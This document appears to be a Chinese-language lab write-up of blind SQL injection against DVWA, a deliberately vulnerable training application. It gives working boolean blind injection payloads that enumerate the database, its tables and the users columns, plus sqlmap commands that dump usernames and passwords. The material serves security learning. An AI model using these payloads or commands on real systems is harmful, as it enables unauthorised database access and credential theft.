盲注一般用判断语句结合返回值的真伪得到结论(布尔盲注),且布尔盲注的稳定性高于时间盲注,故不再赘述
无非是由普通注入中直接得到结果变为了以数字形式二分得到答案
$Low$
类型
1
2
31 and 1=3 #
1' and 1=3 #
1" and 1=3 #可以判断出是字符型单引号注入
注意只有真假情况下回显不同才可以判断
数据库
length(database())
二分出数据库名长度substr([string],[参数1],[参数2])
用于得到字符串中特定位置的字符,参数1
用于指定起始位置(从 $1$ 开始);参数2
是长度,当没有时默认到原字符串尾端。ascii(substr(database(),[posnumber],1))
就可以用于二分数据库名当前位置的字符库中的表
select count()
函数看看有几个表1
1' and (select count(table_name) from information_schema.tables where table_schema=database())=[num] #
能得到两个表
然后依次试出表名
1
2
31' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 #
PS:这里需要两个括号再二分表名
1
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), [num1],1))=[num2]#
能得到一个
guestbook
和users
1
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#
得到
users
有八个字段1
1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=7#
得第一个字段长度
1
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),[num1],1))=[num2] #
二分字段名字
以此类推,得到全部的八个字段
然后二分出账号密码
二分×
$sqlmap$ 启动!
$burp$ 抓上传的包存到文件里
1
2
3
4
5
6
7
8
9
10
11sqlmap -r sql_low.txt --level=5 --risk=3 --dbs
打出表
sqlmap -r sql_low.txt -D dvwa -tables
打出dvwa下面的表
sqlmap -r sql_low.txt -D dvwa -T users -columns
打出表user的列
sqlmap -r sql_low.txt -D dvwa -T users -C user,password --dump
直接打出user和对应密码
$Medium$
忍不了了一拳把sqlmap打爆在命令中加入
--level=5 --risk=3
让扫描更全面$High$
勤奋的手动注入
$Impossible$
跟普通的一样,略了